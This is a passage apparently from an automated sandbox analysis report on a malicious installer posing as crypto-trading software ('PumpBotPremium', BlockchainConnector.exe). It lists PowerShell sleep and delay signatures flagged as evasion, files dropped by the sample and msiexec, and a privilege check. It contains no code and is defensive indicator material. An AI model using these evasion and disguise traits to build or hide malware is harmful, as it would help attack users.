              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899328
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899218
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899109
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899000
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898890
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898781
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898672
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898562
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898453
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898343
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898234
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898125
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898015
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 897906
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7119Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1263Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4569Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1724Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5074
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 738
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6187
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1237
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4677
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2538
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\random\_philox.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\charset_normalizer\md.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_cffi_backend.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Hash\_MD5.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_socket.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Hash\_ghash_portable.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Hash\_ghash_clmul.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\psutil\_psutil_windows.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\.libs\libopenblas.EL2C6PLE4ZYW3ECEVIV3OXXGRN2NRFM2.gfortran-win_amd64.dllJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Hash\_SHA1.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\random\bit_generator.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_queue.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\PyQt5\sip.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\PyQt5\QtWidgets.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_sqlite3.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_ctypes.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Util\_cpuid_c.pydJump to dropped file
              Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Windows\Installer\MSI8554.tmpJump to dropped file
              Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Windows\Installer\MSI7BF7.tmpJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\qt5widgets.dllJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\charset_normalizer\md__mypyc.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_brotli.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\cryptography\hazmat\bindings\_rust.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\core\_multiarray_umath.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\random\_generator.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\msvcp140.dllJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\random\_common.pydJump to dropped file
              Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Windows\Installer\MSI7C48.tmpJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\PIL\_imaging.pydJump to dropped file
              Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Windows\Installer\MSI7B99.tmpJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_Salsa20.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\cv2\cv2.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\pythoncom310.dllJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\unicodedata.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\random\_mt19937.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_bz2.pydJump to dropped file
              Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Windows\Installer\MSI7CB7.tmpJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Hash\_BLAKE2s.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\pyexpat.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_aesni.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\fft\_pocketfft_internal.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\select.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\core\_multiarray_tests.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\random\mtrand.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_lzma.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\PIL\_imagingft.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\qt5gui.dllJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\msvcp140_1.dllJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_eksblowfish.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\PyQt5\QtGui.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\concrt140.dllJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_decimal.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\random\_bounded_integers.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_elementtree.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_ctr.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_cbc.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Protocol\_scrypt.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_aes.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_ofb.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\random\_sfc64.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_cfb.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_ssl.pydJump to dropped file
              Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Windows\Installer\MSI7C27.tmpJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\win32crypt.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\qt5core.dllJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\linalg\_umath_linalg.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\random\_pcg64.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_ocb.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\PIL\_webp.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Hash\_SHA256.pydJump to dropped file
              Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Windows\Installer\MSI7C87.tmpJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_ecb.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\PIL\_imagingcms.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Util\_strxor.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\cv2\opencv_videoio_ffmpeg490_64.dllJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_hashlib.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\PyQt5\QtCore.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_tkinter.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCheck user administrative privileges: GetTokenInformation,DecisionNodesgraph_3-50691
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8056Thread sleep time: -60000s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2000Thread sleep time: -3689348814741908s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1880Thread sleep time: -1844674407370954s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8096Thread sleep time: -922337203685477s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3384Thread sleep count: 4569 > 30Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7184Thread sleep time: -11990383647911201s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7184Thread sleep time: -900000s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7184Thread sleep time: -899884s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7184Thread sleep time: -899772s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7184Thread sleep time: -899652s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7184Thread sleep time: -899522s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7184Thread sleep time: -899373s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7184Thread sleep time: -899262s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7184Thread sleep time: -899151s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 344Thread sleep count: 1724 > 30Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4280Thread sleep count: 5074 > 30
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7440Thread sleep time: -11990383647911201s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7440Thread sleep time: -900000s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7440Thread sleep time: -899888s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7440Thread sleep time: -899747s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7440Thread sleep time: -899636s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7440Thread sleep time: -899526s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7440Thread sleep time: -899377s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7440Thread sleep time: -899250s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7440Thread sleep time: -899140s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5932Thread sleep count: 738 > 30
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7440Thread sleep time: -899031s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7440Thread sleep time: -898921s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7440Thread sleep time: -898812s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7440Thread sleep time: -898703s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7440Thread sleep time: -898593s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7440Thread sleep time: -898484s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7440Thread sleep time: -898374s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7440Thread sleep time: -898265s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7440Thread sleep time: -898156s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7440Thread sleep time: -898046s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7440Thread sleep time: -897937s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7440Thread sleep time: -897828s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7440Thread sleep time: -897708s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7440Thread sleep time: -897578s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7440Thread sleep time: -897468s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7440Thread sleep time: -897352s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7440Thread sleep time: -897234s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7460Thread sleep count: 6187 > 30
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7352Thread sleep time: -11990383647911201s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7352Thread sleep time: -900000s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7352Thread sleep time: -899869s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7352Thread sleep time: -899734s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7352Thread sleep time: -899609s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7352Thread sleep time: -899500s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7464Thread sleep count: 1237 > 30
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7352Thread sleep time: -899391s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7352Thread sleep time: -899281s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7352Thread sleep time: -899172s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7352Thread sleep time: -899062s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7352Thread sleep time: -898953s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7352Thread sleep time: -898844s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7352Thread sleep time: -898734s >= -30000s
